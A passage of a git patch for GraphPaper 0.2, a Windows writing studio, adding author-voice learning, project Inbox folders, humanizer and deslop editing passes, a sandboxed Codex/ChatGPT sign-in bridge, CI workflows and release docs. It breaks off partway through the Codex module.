From 5b0ada9e63aa3ef1e23ad19888f9ee520284acc1 Mon Sep 17 00:00:00 2001 From: Aron Bijl Date: Mon, 5 Oct 2026 22:19:36 +0200 Subject: [PATCH 1/2] Add GraphPaper 0.2 author voice, project folders, humanizer and Codex OAuth [source-upload] --- .github/topics.json | 1 + .github/workflows/update-studio.yml | 105 +++++++++++++ .github/workflows/windows.yml | 49 ++++-- _update/apply.py | 121 +++++++++++++++ _update/checksums.json | 1 + docs/RELEASE-0.2.md | 20 +++ docs/UPDATE-0.2.md | 53 +++++++ graphpaper/author_web.py | 58 +++++++ graphpaper/codex.py | 233 ++++++++++++++++++++++++++++ graphpaper/folders.py | 152 ++++++++++++++++++ graphpaper/polish.py | 97 ++++++++++++ graphpaper/studio_routes.py | 113 ++++++++++++++ graphpaper/voice.py | 82 ++++++++++ scripts/build_release.ps1 | 20 +++ scripts/bundle_codex.py | 77 +++++++++ scripts/check_codex.py | 24 +++ scripts/ui_studio_smoke.py | 151 ++++++++++++++++++ tests/test_codex_runtime.py | 76 +++++++++ tests/test_studio_update.py | 218 ++++++++++++++++++++++++++ ui/studio.css | 2 + ui/studio.js | 47 ++++++ 21 files changed, 1686 insertions(+), 14 deletions(-) create mode 100644 .github/topics.json create mode 100644 .github/workflows/update-studio.yml create mode 100644 _update/apply.py create mode 100644 _update/checksums.json create mode 100644 docs/RELEASE-0.2.md create mode 100644 docs/UPDATE-0.2.md create mode 100644 graphpaper/author_web.py create mode 100644 graphpaper/codex.py create mode 100644 graphpaper/folders.py create mode 100644 graphpaper/polish.py create mode 100644 graphpaper/studio_routes.py create mode 100644 graphpaper/voice.py create mode 100644 scripts/build_release.ps1 create mode 100644 scripts/bundle_codex.py create mode 100644 scripts/check_codex.py create mode 100644 scripts/ui_studio_smoke.py create mode 100644 tests/test_codex_runtime.py create mode 100644 tests/test_studio_update.py create mode 100644 ui/studio.css create mode 100644 ui/studio.js diff --git a/.github/topics.json b/.github/topics.json new file mode 100644 index 0000000..1affdea --- /dev/null +++ b/.github/topics.json @@ -0,0 +1 @@ +{"names":["ai-writing","writing-assistant","author-voice","creative-writing","fiction","nonfiction","knowledge-graph","graphrag","humanizer","deslop","codex","oauth","local-first","windows","python","jev","openrouter","typesafe"]} diff --git a/.github/workflows/update-studio.yml b/.github/workflows/update-studio.yml new file mode 100644 index 0000000..6d81de2 --- /dev/null +++ b/.github/workflows/update-studio.yml @@ -0,0 +1,105 @@ +name: Validate GraphPaper 0.2 update +on: + push: + branches: ['release/graphpaper-v0.2.0'] + workflow_dispatch: +permissions: + contents: write +concurrency: + group: graphpaper-02-update + cancel-in-progress: false +jobs: + integrate: + runs-on: ubuntu-latest + timeout-minutes: 20 + outputs: + commit: ${{ steps.commit.outputs.sha }} + steps: + - uses: actions/checkout@v4 + with: + ref: release/graphpaper-v0.2.0 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - name: Verify uploaded source and integrate without overwriting upstream changes + run: | + python - <<'PY' + import hashlib,json,pathlib,subprocess,shutil + root=pathlib.Path('.') + if (root/'_update/checksums.json').exists(): + checks=json.loads((root/'_update/checksums.json').read_text()) + mismatches=[] + for name,expected in checks.items(): + actual=hashlib.sha256((root/name).read_bytes()).hexdigest() + if actual!=expected: mismatches.append((name,actual,expected)) + if mismatches: raise RuntimeError('Transferred source mismatch: '+repr(mismatches)) + subprocess.run(['python','_update/apply.py'],check=True) + subprocess.run(['python','_update/apply.py'],check=True) + shutil.rmtree('_update') + PY + node --check ui/app.js + node --check ui/studio.js + - run: python -m pip install -q -r requirements-dev.txt 'pillow>=11,<13' + - run: python -m pytest -q --junitxml=test-results/results.xml + - run: python -m playwright install --with-deps chromium + - run: python scripts/ui_smoke.py + - run: python scripts/ui_studio_smoke.py + - run: python -m graphpaper.desktop --self-test test-results/loopback.json + - name: Save verified source, screenshots and reports + id: commit + run: | + python - <<'PY' + import pathlib,shutil + from PIL import Image + p=pathlib.Path('docs/validation/v0.2');p.mkdir(parents=True,exist_ok=True) + for name,src in [('pytest.xml','test-results/results.xml'),('browser.json','test-results/ui/report.json'),('studio.json','test-results/studio/report.json'),('loopback.json','test-results/loopback.json')]: shutil.copyfile(src,p/name) + for name in ['voice','folder','humanizer','codex']: + with Image.open('test-results/studio/'+name+'.png') as image: image.convert('RGB').save('docs/images/'+name+'-v0.2.webp',quality=86) + PY + git add -A -- graphpaper ui scripts tests docs README.md CHANGELOG.md pyproject.toml .gitignore .github + if git ls-files _update/ | grep -q .; then git add -u -- _update; fi + python scripts/prepare_assets.py --manifest + git add publish-manifest.json + git config user.name 'github-actions[bot]' + git config user.email '41898282+github-actions[bot]@users.noreply.github.com' + if ! git diff --cached --quiet; then + git commit -m 'Integrate tested GraphPaper 0.2 voice, folders, prose tools and Codex sign-in' + git push origin HEAD:release/graphpaper-v0.2.0 + fi + echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + - uses: actions/upload-artifact@v4 + if: always() + with: + name: Update-validation + path: test-results/ + windows: + needs: integrate + runs-on: windows-latest + timeout-minutes: 25 + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ needs.integrate.outputs.commit }} + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - run: python -m pip install -q -r requirements-dev.txt + - run: python -m pytest -q --junitxml=test-results/windows.xml + - name: Build actual Windows application and verify official Codex + shell: pwsh + env: + GITHUB_TOKEN: ${{ github.token }} + run: ./scripts/build_release.ps1 + - uses: actions/upload-artifact@v4 + with: + name: GraphPaper-Windows-x64 + path: | + dist/GraphPaper-v*-Windows-x64.zip + dist/SHA256SUMS.txt + - uses: actions/upload-artifact@v4 + if: always() + with: + name: Windows-update-validation + path: | + test-results/ + vendor/codex-release.json diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index 388e93b..3dd0f02 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -1,4 +1,4 @@ -name: Windows desktop package +name: Build and publish Windows release on: workflow_dispatch: push: @@ -6,32 +6,53 @@ on: permissions: contents: write jobs: - package: - runs-on: windows-latest + quality: + runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: '3.12' - cache: pip - - run: python -m pip install -r requirements-dev.txt + - run: python -m pip install -q -r requirements-dev.txt - run: python -m pytest -q - - shell: pwsh - run: ./scripts/build_windows.ps1 - - name: Verify frozen backend serves the bundled interface + - run: python -m playwright install --with-deps chromium + - run: python scripts/ui_smoke.py + - run: python scripts/ui_studio_smoke.py + windows: + needs: quality + runs-on: windows-latest + timeout-minutes: 25 + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: + python-version: '3.12' + - run: python -m pip install -q -r requirements-dev.txt + - run: python -m pytest -q --junitxml=test-results/windows.xml + - name: Build verified Windows package with official Codex runtime shell: pwsh - run: | - python scripts/check_package.py dist/GraphPaper + env: + GITHUB_TOKEN: ${{ github.token }} + run: ./scripts/build_release.ps1 - uses: actions/upload-artifact@v4 with: name: GraphPaper-Windows-x64 - path: dist/GraphPaper-Windows-x64.zip - - name: Attach package to version release + path: | + dist/GraphPaper-v*-Windows-x64.zip + dist/SHA256SUMS.txt + - name: Publish a versioned release when built from a tag if: startsWith(github.ref, 'refs/tags/v') env: GH_TOKEN: ${{ github.token }} shell: pwsh run: | + $version = python -c "from graphpaper import __version__; print(__version__)" + if ($env:GITHUB_REF_NAME -ne "v$version") { throw 'Tag does not match application version.' } gh release view $env:GITHUB_REF_NAME *> $null - if ($LASTEXITCODE -ne 0) { gh release create $env:GITHUB_REF_NAME --title "GraphPaper $env:GITHUB_REF_NAME" --generate-notes } - gh release upload $env:GITHUB_REF_NAME dist/GraphPaper-Windows-x64.zip --clobber + if ($LASTEXITCODE -ne 0) { gh release create $env:GITHUB_REF_NAME --verify-tag --title "GraphPaper $env:GITHUB_REF_NAME" --notes-file docs/RELEASE-0.2.md } + gh release upload $env:GITHUB_REF_NAME "dist/GraphPaper-v$version-Windows-x64.zip" dist/SHA256SUMS.txt --clobber + - uses: actions/upload-artifact@v4 + if: always() + with: + name: Windows-validation + path: test-results/ diff --git a/_update/apply.py b/_update/apply.py new file mode 100644 index 0000000..f52887c --- /dev/null +++ b/_update/apply.py @@ -0,0 +1,121 @@ +"""One-time integration of v0.2.0. Exact anchors fail closed on upstream drift.""" +from pathlib import Path +ROOT = Path(__file__).resolve().parents[1] + + +def change(path, old, new): + p=ROOT/path + text=p.read_text(encoding='utf-8') + if new in text: + return + if old not in text: + raise RuntimeError('Integration anchor missing: '+path+' '+old[:90]) + if text.count(old)!=1: + raise RuntimeError('Ambiguous integration anchor: '+path+' '+old[:90]) + p.write_text(text.replace(old,new,1),encoding='utf-8') + +change('graphpaper/models.py','class Project(Model):', '''class VoiceProfile(Model): + enabled: bool = True + strength: int = Field(75, ge=0, le=100) + name: str = Field('My writing voice', max_length=160) + instructions: str = Field('', max_length=12000) + sample_ids: list[str] = Field(default_factory=list) + sample_hash: str = '' + learned_at: str = '' + metrics: dict[str, Any] = Field(default_factory=dict) + observations: list[str] = Field(default_factory=list) + + +class PolishCandidate(Model): + mode: str + original_hash: str + draft: str = Field(max_length=1_000_000) + created: str = '' + review: dict[str, Any] = Field(default_factory=dict) + before: dict[str, Any] = Field(default_factory=dict) + after: dict[str, Any] = Field(default_factory=dict) + protected_spans: int = 0 + diff: list[str] = Field(default_factory=list) + + +class Project(Model):''') +change('graphpaper/models.py',' demo: bool = False\n',' demo: bool = False\n voice_profile: VoiceProfile = Field(default_factory=VoiceProfile)\n polish: PolishCandidate | None = None\n auto_import: bool = True\n') +change('graphpaper/models.py','Literal["openrouter", "openai-compatible", "anthropic"]','Literal["openrouter", "openai-compatible", "anthropic", "codex"]') +change('graphpaper/models.py',' editor_model: str = ""',' codex_executable: str = ""\n editor_model: str = ""') +change('graphpaper/providers.py',' if not model.strip():',' if not model.strip() and s.provider != "codex":') +change('graphpaper/providers.py',' if s.provider == "anthropic":\n data = self.post(',''' if s.provider == "codex": + from .codex import get_codex + self.check('https://chatgpt.com') + text = get_codex(self.vault.path.parent, s.codex_executable).complete(system, user, model, self.job, s.max_calls) + return parse_json(text) if json_mode else text + if s.provider == "anthropic": + data = self.post(''') +change('graphpaper/providers.py',' def discover_models(self):\n',''' def discover_models(self): + if self.settings.provider == 'codex': + from .codex import get_codex + return get_codex(self.vault.path.parent, self.settings.codex_executable).models() +''') +change('graphpaper/pipeline.py','def voice_notes(p: Project):\n return [{"title": s.title, "sample": s.text[:3500], "note": "Style reference only. Do not copy wording or treat as factual evidence."} for s in p.sources if s.enabled and s.role == "voice"][:3]', '''def voice_notes(p: Project): + from .voice import voice_context + return voice_context(p)''') +change('graphpaper/pipeline.py','"review": review.model_dump(), "draft": original, "sources": pack}', '"review": review.model_dump(), "draft": original, "sources": pack, "author_voice": voice_notes(p)}') +change('graphpaper/pipeline.py','{"graph", "angles", "outline", "draft", "review", "revise"}', '{"graph", "angles", "outline", "draft", "review", "revise", "voice", "humanize", "deslop", "both"}') +change('graphpaper/pipeline.py',' if job.action == "graph":\n', ''' if job.action == "voice": + from .voice import learn_voice + learn_voice(p, clients, job) + elif job.action in {"humanize", "deslop", "both"}: + from .polish import polish_draft + polish_draft(p, clients, job, job.action, instruction) + elif job.action == "graph": +''') +change('graphpaper/server.py',' allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback"}', ' allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback", "voice_profile", "auto_import"}') +change('graphpaper/server.py',' app.mount("/static", StaticFiles(directory=asset_directory()), name="static")', ''' from .studio_routes import install + install(app, store, vault, runner, settings) + app.mount("/static", StaticFiles(directory=asset_directory()), name="static")''') +change('graphpaper/server.py',' return store.create(p)\n\n @app.post("/api/demo")', ''' app.state.folders.path(p) + return store.create(p) + + @app.post("/api/demo")''') +change('graphpaper/server.py',' return store.save(p, p.version)\n\n @app.post("/api/projects/{pid}/sources/text")', ''' p = store.save(p, p.version) + app.state.folders.original(p, p.sources[-1]) + return p + + @app.post("/api/projects/{pid}/sources/text")''') +old=' return add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings)' +change('graphpaper/server.py',old,''' p = add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings) + app.state.folders.original(p, p.sources[-1], data, title) + return p''') +change('graphpaper/graphify_adapter.py',' executable = clients.settings.graphify_executable or shutil.which("graphify")', ''' if clients.settings.provider == "codex": + raise ValueError("Use Native extraction or import a Graphify JSON graph with Codex sign-in. The optional external Graphify process requires its own API credentials.") + executable = clients.settings.graphify_executable or shutil.which("graphify")''') +change('ui/index.html','','\n') +change('ui/index.html','','') +change('ui/app.js',"if(!state.settings.model){toast('Choose a writing model in Connections first.');", "if(!state.settings.model&&state.settings.provider!=='codex'){toast('Choose a writing model in Connections first.');") +change('ui/app.js',"GraphPaper · 0.1.0", "GraphPaper · 0.2.0") +change('ui/app.js',"draft:'write',review:'write',revise:'write'", "draft:'write',review:'write',revise:'write',humanize:'write',deslop:'write',both:'write',voice:'sources'") +change('graphpaper/__init__.py','__version__ = "0.1.0"','__version__ = "0.2.0"') +change('pyproject.toml','version = "0.1.0"','version = "0.2.0"') +change('pyproject.toml','"ui/graphpaper.ico"]','"ui/graphpaper.ico", "ui/studio.js", "ui/studio.css"]') +print('GraphPaper v0.2.0 integrations applied.') +change('graphpaper/server.py','if any(s.digest == fingerprint for s in p.sources):','if any(s.digest == fingerprint and s.role == role for s in p.sources):') + +ignore=ROOT/'.gitignore' +if '\nvendor/\n' not in ignore.read_text(): + ignore.write_text(ignore.read_text()+'\nvendor/\n') +readme=ROOT/'README.md' +intro='''## GraphPaper 0.2.0 + +[**Download the Windows release**](https://github.com/AronAxe/GraphPaper/releases/latest) · [What is new](docs/UPDATE-0.2.md) + +Your own writing voice from uploads or article URLs; a project Inbox with automatic local imports; reversible humanizer/deslopping passes; and **Codex / ChatGPT browser sign-in instead of a writing API key**. The Windows package includes Python and the official Codex runtime. Existing API providers and the optional JEV connection remain available. + +''' +text=readme.read_text(encoding='utf-8') +if '## GraphPaper 0.2.0' not in text: + text=text.replace('## Open the studio on Windows',intro+'## Open the source edition on Windows',1) + readme.write_text(text,encoding='utf-8') +changelog=ROOT/'CHANGELOG.md' +text=changelog.read_text(encoding='utf-8') +if '## 0.2.0' not in text: + text=text.replace('# Changelog','# Changelog\n\n## 0.2.0 — 2026-10-05\n\n- Learn and edit an author voice from uploaded writing or selected article URLs.\n- Separate project folders, stable-file automatic Inbox imports, role subfolders and original uploads.\n- Local prose inspection, humanizer/deslopping proposals, protected factual spans and explicit accept/reject with version history.\n- Official Codex browser OAuth and subscription-based writing, with an isolated account directory and bundled Windows runtime.\n- Dedicated new workflow, API, subprocess and browser tests; versioned Windows release packaging with SHA-256 provenance.\n',1) + changelog.write_text(text,encoding='utf-8') diff --git a/_update/checksums.json b/_update/checksums.json new file mode 100644 index 0000000..b420790 --- /dev/null +++ b/_update/checksums.json @@ -0,0 +1 @@ +{"graphpaper/voice.py":"2527ef556be695942e481bf3df099beb05937c7a059d0e1ece94d7ca32d0e51e","graphpaper/polish.py":"8890acded2fee782f88c98177250b58625cd93a045895b5c2f5d286056c46ae7","graphpaper/folders.py":"37f9b255406e3ff93b6f6886294722c14561a4c1195d5c2107fe67c8de6fbca8","graphpaper/author_web.py":"16ad1218ce0bf76bdd067e731176357586a28dfb55d297a393a3e6a596e126ff","graphpaper/codex.py":"87a1f409dd06e755e0f4aa5cab66f3cd45f26f58658df96adf961d86d10ab98c","graphpaper/studio_routes.py":"bc77494829dfff3961a1076f7a152a5f9119c34d2038abde25105a78b67c8ff9","ui/studio.js":"35ec4ed3ac5e691855680103b96fcc184eca9c61089753ebc7e0cfcf79c8ee87","ui/studio.css":"c143a880c50ed59b9d315afaacd20377d6e47c54a701ea105f5c0757cde43a24","scripts/build_release.ps1":"00d358ddbafbd02f4e4ede9cbfcee0ffdc250fac09789f5f168220ee28d61f6f","scripts/bundle_codex.py":"7cf9dbc36381827d286269b6394dd1dd61d88a23129b214b5207d52491f17f64","scripts/check_codex.py":"2fff4a6cc80188d54914086ab3f3d7d3cf1ec02001541bad6bc8a426fc1bbc81","scripts/ui_studio_smoke.py":"4f24113c44c7ed1c599f4650653794f63e314423886442257dcb4120051b2375","tests/test_codex_runtime.py":"35688888c892c30bf1e745ab94f09dcf7b8a5cf99c29019b5e15bb172cf3fb6a","tests/test_studio_update.py":"d01b6c74cd0afc300f4468755213d9d21a1f58986efe61eca9d58c3f677c9653","_update/apply.py":"c4f18caefa122530d94dd65e31f4698ed4829569fdf49ca95abf5b0d8289dbc0"} diff --git a/docs/RELEASE-0.2.md b/docs/RELEASE-0.2.md new file mode 100644 index 0000000..e218335 --- /dev/null +++ b/docs/RELEASE-0.2.md @@ -0,0 +1,20 @@ +## GraphPaper 0.2.0 + +A Windows writing studio for fiction and nonfiction, now with: + +- **Your writing voice:** upload samples, paste writing, or discover and selectively import articles from your author/blog URL; learn an editable style profile with adjustable influence. +- **Project folders:** a local Inbox per project, automatic idle-time import, role-specific subfolders and original upload files. +- **Humanizer and deslopping:** separate or combined editing passes, explainable local inspection, protected factual spans, side-by-side proposals, diffs and explicit acceptance. +- **Codex / ChatGPT sign-in:** use your account allowance instead of a writing API key; official runtime included, with browser OAuth handled by Codex. Other API providers remain available. JEV is a separate optional connection. + +### Windows + +Download **GraphPaper-v0.2.0-Windows-x64.zip**, extract the complete folder and open **GraphPaper.exe**. No separate Python installation or terminal workflow is needed. Keep the `_internal` companion folder. Edge WebView2 must be available. The build is unsigned. + +The SHA256SUMS file records the package checksum. The bundled Codex runtime has its own version, download URL and SHA-256 provenance in `_internal/vendor/codex-release.json`. + +### Quality and limits + +The build process runs automated tests, browser workflows and actual Windows package checks. Model responses in tests use controlled fixtures. The official runtime is checked while signed out; a real user's OAuth ceremony and live prose generation cannot be completed by CI. Inspect claims, citations and proposed edits before publishing. + +Existing projects load with defaults for the new features. User data stays in the existing local GraphPaper data directory; extracting the new executable does not replace your project database. diff --git a/docs/UPDATE-0.2.md b/docs/UPDATE-0.2.md new file mode 100644 index 0000000..957ce89 --- /dev/null +++ b/docs/UPDATE-0.2.md @@ -0,0 +1,53 @@ +# GraphPaper 0.2 — your voice, your project folder, cleaner prose + +## Your writing voice + +In **Sources → Your writing voice**, upload your own writing, paste a sample, or choose **Find my writing online**. The website tool reads the article/author page you enter and lists up to 30 same-site candidate links. Choose up to 12 of your own pieces to import. It does not assume every link was written by you or crawl an entire site invisibly. + +**Learn my writing style** analyzes balanced beginning/middle/end excerpts and measurable cadence. The resulting profile is editable and has an influence slider and an on/off switch. It guides drafting, revision and humanizing. This is reusable, source-informed prompting, not weight fine-tuning or a guarantee of perfect imitation. Voice samples never become factual citations. When samples change, an old learned profile is ignored until refreshed; current samples can still guide style. Explicitly edited instructions are treated as author direction. + +## A folder for every project + +**Sources → Project folder** opens the project's workspace in Windows Explorer. Its stable ID keeps it associated with the same project even after renaming. The folder's ABOUT file records its human-readable title. + +Put files in **Inbox**, or its **Evidence**, **Voice**, **Canon** or **Inspiration** subfolders. GraphPaper checks automatically every five seconds while that project is open, visible and idle. It waits for a stable file before importing; **Import files now** runs an explicit check. Files added while the app is closed are picked up on a later visit. Source changes do not silently trigger paid model requests. + +Changed inbox files update their associated sources without multiplying duplicates. Removing files leaves the imported source intact. Source roles, file limits, symlink checks and conflict protection remain in effect. Uploads through the app are also kept in **Originals**. **Exports** is an available folder for your own output. Deleting the database project does not delete the folder. SQLite still holds the authoritative graph, outline, draft and history; use Export → Project backup for a portable project. + +## Humanizer and deslopping + +The writing desk offers **Humanize**, **Deslop**, **Both**, and a no-cost **Inspect prose** action. Humanizing focuses on the author's cadence and expression; deslopping focuses on filler, repetition, staged emphasis, formulaic contrasts and unsupported vague attribution. + +These are editing tools, not AI-authorship detectors or promises to evade detection. Intentional dashes, repetition, formal language, humor and scientific qualifications are not blindly banned. The author's samples take precedence over generic style advice. + +Quoted text, numbers, citations, links, code and blockquotes are protected during the edit. Missing or newly invented protected material fails validation. A separate editorial check looks for meaning drift. The proposal is stored separately, with side-by-side comparison and a line diff. **Accept** is explicit; changed drafts cannot be overwritten by stale proposals, and the previous draft remains in Versions. A model's fidelity judgment is not proof; check material claims yourself. + +### Research and inspiration + +GitHub searches for widely starred writing humanizers identified **blader/humanizer**, whose repository showed **54,162 stars on 5 October 2026**. Its structural-pattern-first approach, author-sample priority, and rewrite-then-check workflow informed this independent implementation. **stephenturner/skill-deslop** provided a second writing-specific reference for filler, repeated structures, inflated stakes and context-sensitive register. **peteromallet/desloppify** was excluded as the main prose reference because it targets code quality rather than article editing. No code or full prompt text from those projects is vendored here. + +Primary references: +- https://github.com/blader/humanizer +- https://github.com/blader/humanizer/blob/main/SKILL.md +- https://github.com/stephenturner/skill-deslop +- https://github.com/stephenturner/skill-deslop/blob/main/SKILL.md + +## Codex / ChatGPT sign-in instead of a writing API key + +In **Connections**, select **Codex — sign in with ChatGPT**, then press **Sign in with ChatGPT**. Complete the official browser flow and check the connection. A blank model uses Codex's configured default; the model list can also be loaded. The Windows release bundles an official, digest-verified Codex runtime. A source installation can point to an existing native runtime. + +GraphPaper uses Codex's documented app-server login and non-interactive execution. It does not scrape ChatGPT, ask you to paste session tokens, read another application's auth.json, or silently fall back to API billing. Codex handles its own credentials in GraphPaper's separate `codex-account` directory. Sign-out affects this directory, not your other Codex setups. Runtime provenance and its Apache licence are included in the bundle. Provider API keys are not inherited by the child process. + +Writing through Codex consumes the applicable ChatGPT/Codex account allowance and remains subject to that account's limits and OpenAI's policies. Cloud processing still needs your consent. Codex controls its own output limits; GraphPaper's API output-token setting does not override them. Token usage is recorded when the runtime reports it, without inventing a monetary cost. **JEV is separate**: it needs its own optional OpenRouter/TypeSafe connection. Without one, writing still works and graph screening is explicitly unscored. External Graphify CLI mode also needs separate API credentials; Native graph extraction works with Codex sign-in. + +Primary official documentation: +- https://developers.openai.com/codex/auth +- https://developers.openai.com/codex/app-server +- https://developers.openai.com/codex/noninteractive +- https://github.com/openai/codex + +## Validation boundaries + +The release process runs the existing suite plus new voice, inbox, provenance, protected-edit and Codex subprocess tests. Browser workflows exercise uploads, voice learning/editing, folder ownership and automatic import, humanizing/deslopping comparisons, acceptance/rejection and the Codex settings option. Controlled model and authentication doubles do not establish real prose quality or complete a real user OAuth ceremony. + +A separate Windows check runs the actual bundled Codex executable, verifies the supported CLI flags, and performs a signed-out app-server handshake. No live model request or user sign-in is performed in CI. The compiled GraphPaper application also runs its backend/assets self-test. Interactive Windows dialog behavior and completion of your own browser sign-in remain user-environment checks. The executable is unsigned. diff --git a/graphpaper/author_web.py b/graphpaper/author_web.py new file mode 100644 index 0000000..e02b7d5 --- /dev/null +++ b/graphpaper/author_web.py @@ -0,0 +1,58 @@ +"""Bounded link discovery for a user-specified author page. No hidden site crawl.""" +from __future__ import annotations +import http.client +from urllib.parse import urljoin, urlsplit, urlunsplit +from bs4 import BeautifulSoup +from .ingest import resolve_public, PinnedHTTPS, MAX_BYTES + + +def extract_links(html, base): + host = urlsplit(base).hostname + soup = BeautifulSoup(html, 'html.parser') + found = {base:{'url':base,'title':soup.title.get_text(' ',strip=True) if soup.title else 'This page'}} + for a in soup.select('article a[href], main a[href], .post a[href], .entry-title a[href], a[href]'): + href = urljoin(base,a.get('href','')) + p = urlsplit(href) + if p.scheme not in {'http','https'} or p.hostname != host or p.username or p.password: + continue + if p.query or any(s in p.path.lower() for s in ['/login','/signup','/privacy','/terms','/tag/','/category/','/feed','/wp-json','/search']): + continue + if p.path.lower().endswith(('.jpg','.png','.svg','.zip','.js','.css')): + continue + url = urlunsplit((p.scheme,p.netloc,p.path,'','')) + title = a.get_text(' ',strip=True) + if len(title) < 8 or url in found: + continue + found[url] = {'url':url,'title':title[:250]} + if len(found) >= 30: + break + return list(found.values()) + + +def discover(url): + for _ in range(5): + p, host, port, ip = resolve_public(url) + conn = PinnedHTTPS(host,ip,port) if p.scheme == 'https' else http.client.HTTPConnection(ip,port,timeout=25) + try: + conn.request('GET',(p.path or '/')+('?' + p.query if p.query else ''), headers={'Host':host,'User-Agent':'GraphPaper/0.2 author-source-discovery','Accept-Encoding':'identity'}) + response = conn.getresponse() + if response.status in {301,302,303,307,308}: + destination = response.getheader('Location') + if not destination: + raise ValueError('Redirect did not include a destination.') + url = urljoin(url,destination) + continue + if response.status != 200: + raise ValueError(f'This page returned HTTP {response.status}. Paste text or upload saved articles instead.') + if response.getheader('Content-Encoding','identity') not in {'','identity'}: + raise ValueError('The site returned unsupported compressed content.') + data = response.read(MAX_BYTES+1) + if len(data) > MAX_BYTES: + raise ValueError('Author page exceeds 20 MB.') + if 'html' not in response.getheader('Content-Type','text/html').lower(): + return {'pages':[{'url':url,'title':'Import this source'}], 'note':'Direct document link.'} + return {'pages':extract_links(data.decode('utf-8',errors='replace'),url), + 'note':'These are same-site candidate pages, not verified authorship. Select only your writing. Nothing is imported or sent to a model until you choose it.'} + finally: + conn.close() + raise ValueError('Too many redirects.') diff --git a/graphpaper/codex.py b/graphpaper/codex.py new file mode 100644 index 0000000..412ba97 --- /dev/null +++ b/graphpaper/codex.py @@ -0,0 +1,233 @@ +"""Official Codex sign-in and execution bridge. Never reads or exports OAuth tokens.""" +from __future__ import annotations +import atexit +import json +import os +from pathlib import Path +import queue +import shutil +import subprocess +import sys +import tempfile +import threading +import time +import webbrowser +from urllib.parse import urlsplit +from .providers import ProviderError, Cancelled + +REGISTRY = {} +REGISTRY_LOCK = threading.RLock() + + +def find_executable(configured=''): + root = Path(getattr(sys, '_MEIPASS', Path(__file__).resolve().parent.parent)) + candidates = [configured, str(root/'vendor'/'codex.exe'), str(root/'vendor'/'codex'), shutil.which('codex')] + for candidate in candidates: + if candidate and Path(candidate).is_file() and Path(candidate).suffix.lower() not in {'.cmd','.bat','.ps1'}: + return str(Path(candidate).resolve()) + # npm shims are not executed through a shell; locate their native binary instead. + npm = Path(os.getenv('APPDATA', str(Path.home()))) / 'npm' / 'node_modules' / '@openai' + for pattern in ['codex/vendor/**/codex.exe', 'codex/node_modules/@openai/codex-win32-*/vendor/**/codex.exe', 'codex-win32-*/vendor/**/codex.exe']: + for path in npm.glob(pattern): + if path.is_file(): + return str(path.resolve()) + raise ProviderError('Codex runtime was not found. Use the Windows release with the bundled runtime, or select an installed native Codex executable in Connections.') + + +def safe_login_url(url): + p = urlsplit(url) + return p.scheme == 'https' and p.hostname in {'auth.openai.com','chatgpt.com','auth0.openai.com'} and not p.username and not p.password + + +class Codex: + def __init__(self, root, executable=''): + self.exe = find_executable(executable) + self.home = Path(root)/'codex-account' + self.home.mkdir(parents=True, exist_ok=True) + try: + self.home.chmod(0o700) + except OSError: + pass + config = self.home/'config.toml' + if not config.exists(): + config.write_text('forced_login_method = "chatgpt"\ncli_auth_credentials_store = "auto"\napproval_policy = "never"\nsandbox_mode = "read-only"\nweb_search = "disabled"\n[features]\nshell_tool = false\n',encoding='utf-8') + self.env = {k:v for k,v in os.environ.items() if not k.endswith(('_API_KEY','_TOKEN')) and k not in {'OPENAI_BASE_URL','CODEX_HOME'}} + self.env['CODEX_HOME'] = str(self.home) + self.env['PYTHONIOENCODING'] = 'utf-8' + self.proc = None + self.pending = {} + self.lock = threading.RLock() + self.sequence = 0 + self.login_id = None + self.login_error = '' + + def start(self): + with self.lock: + if self.proc and self.proc.poll() is None: + return + flags = subprocess.CREATE_NO_WINDOW if os.name == 'nt' else 0 + self.proc = subprocess.Popen([self.exe,'app-server'],cwd=self.home,env=self.env, + stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.DEVNULL, + text=True,encoding='utf-8',errors='strict',bufsize=1,creationflags=flags) + threading.Thread(target=self._read,args=(self.proc,),daemon=True,name='graphpaper-codex-auth').start() + self.rpc('initialize',{'clientInfo':{'name':'graphpaper','title':'GraphPaper','version':'0.2.0'}}) + self._send({'method':'initialized','params':{}}) + + def _send(self, value): + with self.lock: + if not self.proc or self.proc.poll() is not None: + raise ProviderError('Codex stopped. Reconnect in Connections.') + self.proc.stdin.write(json.dumps(value,ensure_ascii=False)+'\n') + self.proc.stdin.flush() + + def _read(self, proc): + try: + while True: + line = proc.stdout.readline(2_000_001) + if not line: + break + if len(line) > 2_000_000: + raise ValueError('Oversized protocol message') + data = json.loads(line) + if 'id' in data and 'method' not in data: + waiter = self.pending.get(data['id']) + if waiter: + waiter.put(data) + elif 'id' in data: + # Sign-in needs no command/file permission; never approve agent operations here. + self._send({'id':data['id'],'error':{'code':-32601,'message':'GraphPaper does not authorize tool execution through the authentication connection.'}}) + elif data.get('method') == 'account/login/completed': + self.login_error = '' if data.get('params',{}).get('success') else 'Sign-in did not complete. Try again.' + except Exception: + self.login_error = 'The Codex connection stopped. Reconnect and try again.' + finally: + for waiter in list(self.pending.values()): + waiter.put({'error':{'message':'Codex connection closed'}}) + + def rpc(self, method, params=None, timeout=40): + with self.lock: + self.sequence += 1 + ident = self.sequence + waiter = queue.Queue() + self.pending[ident] = waiter + try: + self._send({'id':ident,'method':method,'params':params or {}}) + try: + value = waiter.get(timeout=timeout) + except queue.Empty as exc: + raise ProviderError('Codex did not respond. Check the installed runtime and reconnect.') from exc + if 'error' in value: + raise ProviderError(f'Codex could not complete {method}. Reconnect or update the official runtime; no credentials were exposed.') + return value.get('result',{}) + finally: + self.pending.pop(ident,None) + + def status(self): + self.start() + account = self.rpc('account/read',{'refreshToken':False}).get('account') or {} + return {'installed':True,'signed_in':account.get('type')=='chatgpt', 'email':account.get('email',''), + 'plan':account.get('planType',''), 'auth_type':account.get('type'), 'error':self.login_error, + 'note':'Uses your Codex/ChatGPT account 